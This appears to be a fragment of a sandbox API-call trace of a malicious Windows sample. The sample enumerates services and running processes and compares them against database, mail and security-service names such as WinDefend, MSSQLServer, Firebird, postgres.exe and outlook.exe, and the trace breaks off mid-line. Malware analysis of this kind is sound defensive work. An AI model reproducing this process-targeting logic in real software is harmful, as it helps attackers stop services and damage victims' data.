[0063.968] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0063.968] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0063.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0063.968] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0063.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.968] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0063.968] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0063.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0063.968] lstrlenW (lpString="Winmgmt") returned 7 [0063.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0063.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0063.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0063.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0063.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0063.968] lstrlenW (lpString="wscsvc") returned 6 [0063.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0063.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0063.969] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0063.969] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0063.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0063.969] lstrlenW (lpString="wuauserv") returned 8 [0063.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0063.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0063.969] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0063.969] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0063.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0063.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62d5c0 | out: hHeap=0x5c0000) returned 1 [0063.969] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0063.974] Process32FirstW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.975] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0063.979] lstrlenW (lpString="System") returned 6 [0063.979] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0063.979] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0063.979] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0063.979] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0063.979] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0063.980] lstrlenW (lpString="smss.exe") returned 8 [0063.980] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.981] lstrlenW (lpString="csrss.exe") returned 9 [0063.981] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0063.982] lstrlenW (lpString="wininit.exe") returned 11 [0063.982] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.983] lstrlenW (lpString="csrss.exe") returned 9 [0063.983] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0063.984] lstrlenW (lpString="winlogon.exe") returned 12 [0063.984] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0063.985] lstrlenW (lpString="services.exe") returned 12 [0063.985] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0063.986] lstrlenW (lpString="lsass.exe") returned 9 [0063.986] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0063.987] lstrlenW (lpString="lsm.exe") returned 7 [0063.987] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.988] lstrlenW (lpString="svchost.exe") returned 11 [0063.988] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.989] lstrlenW (lpString="svchost.exe") returned 11 [0063.989] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.223] lstrlenW (lpString="svchost.exe") returned 11 [0064.223] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.227] lstrlenW (lpString="svchost.exe") returned 11 [0064.227] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.228] lstrlenW (lpString="svchost.exe") returned 11 [0064.228] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0064.231] lstrlenW (lpString="audiodg.exe") returned 11 [0064.231] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.242] lstrlenW (lpString="svchost.exe") returned 11 [0064.242] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.256] lstrlenW (lpString="svchost.exe") returned 11 [0064.256] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0064.257] lstrlenW (lpString="dwm.exe") returned 7 [0064.257] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0064.258] lstrlenW (lpString="explorer.exe") returned 12 [0064.258] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0064.259] lstrlenW (lpString="spoolsv.exe") returned 11 [0064.259] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.260] lstrlenW (lpString="taskhost.exe") returned 12 [0064.260] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.261] lstrlenW (lpString="svchost.exe") returned 11 [0064.261] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0064.262] lstrlenW (lpString="taskeng.exe") returned 11 [0064.262] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.263] lstrlenW (lpString="taskhost.exe") returned 12 [0064.263] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.264] lstrlenW (lpString="svchost.exe") returned 11 [0064.264] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0064.265] lstrlenW (lpString="sppsvc.exe") returned 10 [0064.265] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.266] lstrlenW (lpString="svchost.exe") returned 11 [0064.266] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0064.267] lstrlenW (lpString="barrelsince.exe") returned 15 [0064.267] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0064.268] lstrlenW (lpString="cricket.exe") returned 11 [0064.268] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0064.269] lstrlenW (lpString="angelsalot.exe") returned 14 [0064.269] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0064.270] lstrlenW (lpString="bridge.exe") returned 10 [0064.270] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0064.271] lstrlenW (lpString="sh_shipping.exe") returned 15 [0064.271] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0064.272] lstrlenW (lpString="tobacco packet.exe") returned 18 [0064.272] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0064.273] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0064.273] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0064.274] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0064.274] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0064.275] lstrlenW (lpString="widespread.exe") returned 14 [0064.275] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0064.276] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0064.276] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0064.277] lstrlenW (lpString="zinc.exe") returned 8 [0064.277] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0064.278] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0064.278] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0064.279] lstrlenW (lpString="construction_rice.exe") returned 21 [0064.279] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0064.280] lstrlenW (lpString="mask.exe") returned 8 [0064.280] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0064.281] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0064.281] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0064.282] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0064.282] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0064.283] lstrlenW (lpString="curve standing.exe") returned 18 [0064.283] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0064.544] lstrlenW (lpString="3dftp.exe") returned 9 [0064.544] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0064.545] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0064.545] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0064.546] lstrlenW (lpString="alftp.exe") returned 9 [0064.546] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0064.547] lstrlenW (lpString="barca.exe") returned 9 [0064.547] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0064.548] lstrlenW (lpString="bitkinex.exe") returned 12 [0064.548] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0064.550] lstrlenW (lpString="coreftp.exe") returned 11 [0064.551] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0064.551] lstrlenW (lpString="far.exe") returned 7 [0064.552] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0064.552] lstrlenW (lpString="filezilla.exe") returned 13 [0064.553] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0064.554] lstrlenW (lpString="flashfxp.exe") returned 12 [0064.554] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0064.555] lstrlenW (lpString="fling.exe") returned 9 [0064.555] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0064.556] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0064.556] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0064.557] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0064.557] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0064.558] lstrlenW (lpString="icq.exe") returned 7 [0064.558] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0064.559] lstrlenW (lpString="leechftp.exe") returned 12 [0064.559] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0064.561] lstrlenW (lpString="ncftp.exe") returned 9 [0064.561] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0064.563] lstrlenW (lpString="notepad.exe") returned 11 [0064.563] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0064.564] lstrlenW (lpString="operamail.exe") returned 13 [0064.564] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0064.566] lstrlenW (lpString="pidgin.exe") returned 10 [0064.566] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0064.567] lstrlenW (lpString="scriptftp.exe") returned 13 [0064.568] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0064.569] lstrlenW (lpString="skype.exe") returned 9 [0064.569] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 